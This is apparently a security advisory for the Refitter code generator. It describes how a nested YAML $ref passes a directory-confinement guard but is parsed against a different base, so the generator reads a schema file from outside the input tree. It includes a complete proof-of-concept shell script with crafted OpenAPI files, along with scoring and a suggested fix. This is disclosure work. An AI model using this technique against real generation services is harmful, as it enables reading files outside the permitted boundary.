Nested YAML schema references escape Refitter's input-directory boundary
Description
Nested YAML schema references escape Refitter's input-directory boundary
Summary
When Refitter parses a YAML document that references another YAML file, a nested relative $ref can be validated against the directory of the child file but resolved by the parser against the root document directory. A supplied document can therefore make the supported RefitGenerator.CreateAsync(...).Generate() path load a schema outside the input directory and copy its properties into generated C#.
Technical Details
The public path starts at RefitGenerator.CreateAsync, which calls OpenApiDocumentFactory.CreateAsync. For a local document with the default remote-reference policy, the factory runs ReferenceGuard.ValidateAsync before DocumentLoader.LoadAsync. The loader tries FileDocumentStrategy first, which passes a local YAML file to OpenApiDocumentParser.FromFileAsync and ParseAsync.
The guard resolves each local reference relative to the file containing it. When it reaches components.yaml, it combines that file's directory with the nested $ref and checks that the result stays within the root input directory. YAML parsing follows a different base: SanitizingYamlReferenceResolver.ResolveFileReferenceAsync calls LoadReferencedFileAsync, which parses the referenced file using the existing resolver. That resolver retains the root document's base, so the same relative string can name an in-tree file to the guard and an out-of-tree file to the parser.
The proof uses main.yaml in poc/dir1/dir2 and a child at poc/dir1/dir2/sub/deep/deeper/components.yaml. Its nested reference is ../../../test/OpenAPI/v3.0/petstore-expanded.json#/components/schemas/NewPet. The guard resolves that path to an in-tree decoy under poc/dir1/dir2/test. The reused parser resolver resolves it to the existing repository fixture test/OpenAPI/v3.0/petstore-expanded.json, outside the supplied document tree. The generated output contains NewPet.Tag from the repository fixture, while the in-tree decoy's InTreeYamlControlCanary is absent.
This behavior violates the confinement rule enforced by ReferenceGuard: the path actually read by the parser must be the same path the guard validated. It is not the same root cause as an uninspected discriminator.mapping value or a case-colliding $ref key; here the ordinary $ref is inspected, but the guard and parser resolve it from different bases.
PoV
The relevant nested input is a YAML child document with one ordinary $ref:
components:
schemas:
Pet:
type: object
properties:
nested:
$ref: ../../../test/OpenAPI/v3.0/petstore-expanded.json#/components/schemas/NewPetThe root document references that child through ./sub/deep/deeper/components.yaml#/components/schemas/Pet. An in-tree JSON decoy at poc/dir1/dir2/test/OpenAPI/v3.0/petstore-expanded.json defines the same NewPet schema with an InTreeYamlControlCanary property. Correct child-relative resolution selects that decoy. The vulnerable public generator instead emits the Tag property from the repository's existing NewPet schema.
PoC
Run the following from the root of the Refitter source checkout at revision bf77ef633cd182563748fd7828e2d06bb24e1dd5. The checkout supplies the existing out-of-tree test/OpenAPI/v3.0/petstore-expanded.json fixture.
set -eu
mkdir -p poc/dir1/dir2/sub/deep/deeper
mkdir -p poc/dir1/dir2/test/OpenAPI/v3.0
mkdir -p poc/Generator
cat > poc/dir1/dir2/main.yaml <<'YAML'
openapi: 3.0.3
info:
title: Resolver Base Probe
version: "1.0.0"
paths:
/probe:
get:
operationId: GetProbe
responses:
"200":
description: ok
content:
application/json:
schema:
$ref: ./sub/deep/deeper/components.yaml#/components/schemas/Pet
YAML
cat > poc/dir1/dir2/sub/deep/deeper/components.yaml <<'YAML'
openapi: 3.0.3
info:
title: Nested Components
version: "1.0.0"
paths: {}
components:
schemas:
Pet:
type: object
properties:
nested:
$ref: ../../../test/OpenAPI/v3.0/petstore-expanded.json#/components/schemas/NewPet
YAML
cat > poc/dir1/dir2/test/OpenAPI/v3.0/petstore-expanded.json <<'JSON'
{"openapi":"3.0.3","info":{"title":"In-tree decoy","version":"1.0.0"},"paths":{},"components":{"schemas":{"NewPet":{"type":"object","properties":{"InTreeYamlControlCanary":{"type":"string"}}}}}}
JSON
cat > poc/control.yaml <<'YAML'
openapi: 3.0.3
info:
title: Inline Control
version: "1.0.0"
paths:
/probe:
get:
operationId: GetControl
responses:
"200":
description: ok
content:
application/json:
schema:
type: object
properties:
value:
type: string
description: IN_TREE_YAML_CONTROL_CANARY
YAML
cat > poc/Generator/Generator.csproj <<'XML'
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net11.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<ProjectReference Include="../../src/Refitter.Core/Refitter.Core.csproj" />
</ItemGroup>
</Project>
XML
cat > poc/Generator/Program.cs <<'CS'
using Refitter.Core;
var generator = await RefitGenerator.CreateAsync(new RefitGeneratorSettings
{
OpenApiPath = args[0],
Namespace = "ResolverBaseProbe",
GenerateXmlDocCodeComments = true
});
Console.Write(generator.Generate());
CS
dotnet run --project poc/Generator/Generator.csproj -- poc/dir1/dir2/main.yaml > poc/attack.cs
dotnet run --project poc/Generator/Generator.csproj -- poc/control.yaml > poc/control.cs
grep -F 'public string Tag { get; set; }' poc/attack.cs
if grep -Fq 'InTreeYamlControlCanary' poc/attack.cs; then exit 1; fi
if grep -Fq 'public string Tag { get; set; }' poc/control.cs; then exit 1; fi
grep -Fq 'IN_TREE_YAML_CONTROL_CANARY' poc/control.cs
echo 'ATTACK: out-of-tree Tag property present; in-tree decoy absent'
echo 'CONTROL: external Tag property absent; inline canary present'The relevant output from the PoC's explicit grep and final echo commands is:
public string Tag { get; set; }
ATTACK: out-of-tree Tag property present; in-tree decoy absent
CONTROL: external Tag property absent; inline canary presentThe silent shell assertions also verify that the in-tree canary appears in the control and that the attack output omits it. The proof used the pinned .NET SDK execution image, targeted net11.0, and ran without network access.
Impact
This crosses Refitter's input-directory boundary: an untrusted nested YAML reference causes the parser to read a file the guard resolved somewhere else, and properties from that file flow into generated source. The demonstrated repository fixture is public and contains no secret, so the proof does not claim disclosure of secret values. In a generation job, a malicious document can expose schema data from a readable out-of-tree file that the resolver accepts if the generated artifact is returned to the submitter. The file must be readable by the generator process and have a format and shape accepted as an OpenAPI schema.
The base CVSS 3.1 score is 6.5 Medium: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N. The requested High label is conditional on a supported automated CI or service deployment where an attacker can submit a document and retrieve its generated artifact without a per-document user action. Under that condition, MUI:N yields the 7.5 High environmental vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:H/MI:N/MA:N. The requested label reflects that deployment only; it is not a High base score, does not apply to ordinary local CLI use, and may be lowered to Medium if the maintainer prefers the base score. No code execution, integrity change, or availability impact is claimed.
Suggested Fix
When parsing a referenced YAML file, use a resolver whose relative-reference base is that file's own directory while retaining the original root boundary. Alternatively, normalize each nested reference once, validate that normalized target, and make the parser consume that exact target rather than re-resolving the original string against the root. Add public-API regression coverage with a root YAML file, a nested child file, and an in-tree decoy: generation must use the decoy or reject an escape, and no out-of-tree property may reach the generated C#. Include a separate benign inline control and cover a second-level YAML reference.
Affected Package/Versions
RefitterNuGet package: version2.4.0is identified as affected.Refitter.CoreNuGet package: version2.4.0is identified as affected.- The behavior was reproduced at source revision
bf77ef633cd182563748fd7828e2d06bb24e1dd5. No patched version is established, and this evidence does not establish the full affected range beyond2.4.0.
Advisory History
Other advisories in the reviewed Refitter inventory—GHSA-p32v-8v8j-j534, GHSA-58x9-vjvp-6mx8, and GHSA-3fhm-p725-h3g3—cover separate generated-code injection sinks and do not describe this nested YAML resolver-base mismatch.
The related public reference advisories address earlier, different cases. GHSA-x6w4-f264-3vvr covered generation-time SSRF and remote or local file inclusion through unrestricted $ref resolution; PR #1173 added reference restrictions, including local-path confinement. GHSA-4f49-pm8q-mx4f covered escaped remote $ref names and values missed by the raw-text guard; PR #1392 moved guard extraction to JSON/YAML parsing so decoded references are checked. The recent GHSA-h924-jfhp-9vjr is a separate code-generation issue involving schema-derived names and values emitted into C#; PR #1407 addresses those schema-value sinks. These fixes address unrestricted references, escaped-reference recognition, or generated-code values. This report instead demonstrates a nested local resolver-base mismatch: the ordinary $ref is inspected and validated relative to its child file, then the parser resolves that same value relative to the root document.
The five other local reports bound to this handoff are ready-for-review, and none was submitted: (1) relative discriminator.mapping paths that read an out-of-tree schema; (2) case-colliding $ref keys that bypass the guard's visited-path tracking; (3) operation-key injection into generated C#; (4) response-status text that becomes XML file inclusion during package generation; and (5) a pre-existing output symlink that redirects generated-file writes. Each has a distinct triggering input or output sink. This report concerns an ordinary nested $ref whose child-relative validation base differs from the root-relative parser base; it does not duplicate those findings or claim a shared root cause.
References
- RefitGenerator.CreateAsync at the pinned revision
- OpenApiDocumentFactory.CreateAsync at the pinned revision
- ReferenceGuard.ValidateLocalFileAsync at the pinned revision
- DocumentLoader.LoadAsync at the pinned revision
- FileDocumentStrategy.TryLoadAsync at the pinned revision
- OpenApiDocumentParser at the pinned revision
- Refitter 2.4.0 release